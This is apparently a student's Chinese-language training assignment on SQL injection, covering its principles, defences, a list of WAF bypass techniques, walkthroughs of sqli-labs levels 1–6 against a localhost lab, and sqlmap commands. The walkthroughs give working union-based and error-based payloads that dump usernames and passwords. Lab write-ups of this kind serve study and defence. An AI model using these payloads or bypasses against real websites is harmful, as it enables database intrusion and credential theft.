实训作业day05
一、SQL注入
1.SQL注入原理
-
SQL注入的本质在于攻击者向Web应用提交包含恶意SQL代码的数据输入,使得原本预期执行的SQL查询被篡改。SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。
-
SQL注入式攻击的主要形式有两种。
- 一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。
- 二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。以直接注入式攻击为例:在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。
2.SQL注入常用函数及含义
- user() :返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 。
- version() :返回当前数据库的版本 。
- database(): 返回当前使用的数据库,只有在user命令选择一个数据库之后,才能查到。
- group_concat() :把数据库中的某列数据或某几列数据合并为一个字符串。
- @@datadir:数据库路径。
- @@version_compile_os:操作系统版本。
- @@basedir:数据库安装路径。
3.SQL注入防御手段
- 过滤关键字(如:select union)。
- 过滤特殊符号(如:等号、空格、逗号、注释符)。
- 过滤函数(如:sleep())。
- 预编译(如:Java主要是用到PreparedStatement对象)。
- 开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置。
- 执行sql语句时使用addslashes进行sql语句转换。
- php配置文件中设置register_globals为off,关闭全局变量注册。
- 控制错误信息,不要再浏览器上输出错误信息,将错误信息写到日志文件中。
- 使用mysqli或pdo预处理。
- 确保应用程序连接数据库的账号仅具备完成任务所需的最小权限。
- 对于敏感操作,实施双重验证或其他形式的身份验证机制,以降低单一攻击途径的风险。
- 使用ORM框架,它通常内置了对抗SQL注入的安全措施,如Django ORM、Hibernate等。
4.SQL注入常用绕过waf的方法
- 编码伪装:利用特殊字符编码方式绕过WAF的检测。
- 转义字符伪装:使用转义字符来隐藏恶意SQL语句。
- 随机数混淆:在注入语句中加入随机数,使其不被WAF检测到。
- 大小写伪装:通过大小写混合来伪装关键词。
- 双写伪装:将关键词双写,WAF识别为普通字符。
- 内联注释伪装:将恶意SQL代码隐藏在注释中,不被防火墙检测到。
- 协议层面绕过:利用WAF解析协议的问题。
- 规则缺陷/特性角度绕过:如空白符替换绕过。
- 分片传输:通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。
- 提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。
- 事件函数变换:WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。
- 利用WAF软肋:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。
- 爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。
- 高并发流量攻击:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。
二、sqli-labs通关前5关
第一关
-
根据提示,在url后加入“?id=1”与“?id=2”的结果不同,说明存在注入点。
-
在url后加入:“?id=1’”与 “?id=1’ --+”确定是字符型还是数字型。
-
“?id=1’ --+”能够登录成功说明是字符型闭合。在注⼊点后⾯添加语句【 order by int】,int从1开始递增判断字段数量。
-
int=1
-
int=2
-
int=3
-
int=4
-
-
说明字段数量是3。在链接后⾯添加语句【 union select 1,2,3】进⾏联合查询来暴露可查询的字段号。
-
说明字段前端回显位置是第2列和第3列。于是在查询的第2、3位置依次改成user()、database()、version()来查看用户、数据库、版本信息。
-
在显示位输入“group_concat(table_name) from information_schema.tables where table_schema=database()–+”查找数据库表名。
-
登录信息很可能存在users表中,在显示位输入“username,id from tablename–+”查找表users的列名。
-
在显示位输入“group_concat(username ,password) from users–+”查找username和password的内容。
第二关
-
按照第一关的注入步骤。首先容易判断存在注入点。然后添加“?id=1’”和“?id=1’ --+”都报错说明是数字型注入。
-
开始判断字段数量(结果为3)。
-
确定可查询的字段号(也是第2和第3位)。
-
查看数据库、版本、用户(与第一关均相同)。
-
查找数据库表名。
-
查找表users的列名。
-
查找username和password的内容。
第三关
-
按照第一关的注入步骤。首先容易判断存在注入点。然后添加“?id=1’”和“?id=1’–+”报错,而“?id=1’)”报错、“?id=1’)–+”正常说明是字符型注入且闭合方式是**‘)**。
-
开始判断字段数量(结果为3)。
-
确定可查询的字段号(也是第2和第3位)。
-
查看数据库、版本、用户(与第一关均相同)。
-
查找数据库表名。
-
查找表users的列名。
-
查找username和password的内容。
第四关
-
按照第一关的注入步骤。首先容易判断存在注入点。然后添加“?id=1’”和“?id=1’–+”报错,而“?id=1”)”报错、“?id=1”)–+”正常说明是字符型注入且闭合方式是**“)**。
-
开始判断字段数量(结果为3)。
-
确定可查询的字段号(也是第2和第3位)。
-
查看数据库、版本、用户(与第一关均相同)。
-
查找数据库表名。
-
查找表users的列名。
-
查找username和password的内容。
第五关
-
在url后加入“?id=1”与“?id=2”的结果相同,不能再使用联合查询。
-
判断字段数量(结果为3)。
-
使用报错注入。在url添加“?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+ ”查看数据库。
-
将database()换成version()和user()查看版本、用户。
-
在url添加“and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’–+”查找security数据库表名。
-
在url添加“and updatexml(1,(select substr(group_concat(column_name) from information_schema.columns where table_name=‘users’),1) --+”查找表users的列名。
-
在url添加“and updatexml(1,(select substr(group_concat(username,0x7e,password)),1,32) from users),1) --+”查找username和password的内容。
三、SQLi的手工注入的步骤
-
判断是否存在注⼊点
- 下面的情况容易存在注入点:
- 登录
- 注册
- 留⾔
- 验证⽤户身份所属
- 查询某⽇xx信息
- 订单操作
- 下面的情况容易存在注入点:
-
判断字段数量
- 在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不 超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显。
-
判断字段前端回显位置
- 在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪 些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤。
-
判断数据库信息
- 利⽤内置函数暴露数据库信息
- version() – 版本;
- database() – 数据库;
- user() – ⽤户;
- 不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤)
- and 1=2 union all select version() and 1=2
- union all select database() and 1=2
- union all select user()
- 操作系统信息
- and 1=2 union all select @@global.version_compile_os from mysql.user
- 数据库权限
- and ord(mid(user(),1,1))=114 – 返回正常说明为root
- 利⽤内置函数暴露数据库信息
-
查找数据库名
- Mysql 5 以上有内置库 information_schema 存储着mysql的所有数据库和表结构信息
- union select information_schema from info rmation_schema.schemata
- Mysql 5 以上有内置库 information_schema 存储着mysql的所有数据库和表结构信息
-
查找数据库表名
- union select group_concat(table_name) from information_schema.tables where table_schema=database()–+
-
查找列名
- -1’ union select 1,(select group_concat(column_name) from information_schem a.columns where table_name=‘biaoming’),3,4#
-
查数据
- -1’ union select 1,(select columnsname from tablename),3,4#
四、使用sqlmap通过或验证第六关
-
在sqlmap的安装目录打开cmd,输入命令:python sqlmap.py -u ”http://localhost/sqli-labs-master/Less-6/?id=1”检查是否存在注入点。
-
在刚才的命令后加上选项“–dbs”查找数据库。
-
输入命令:python sqlmap.py -u ”http://localhost/sqli-labs-master/Less-6/?id=1” -D security --tables查看security数据库中的表。
-
输入命令:python sqlmap.py -u ”http://localhost/sqli-labs-master/Less-6/?id=1” -D security -T users –columns查看user表中的列名。
-
在上一条查询后加上选项“–dump”查看选项内容。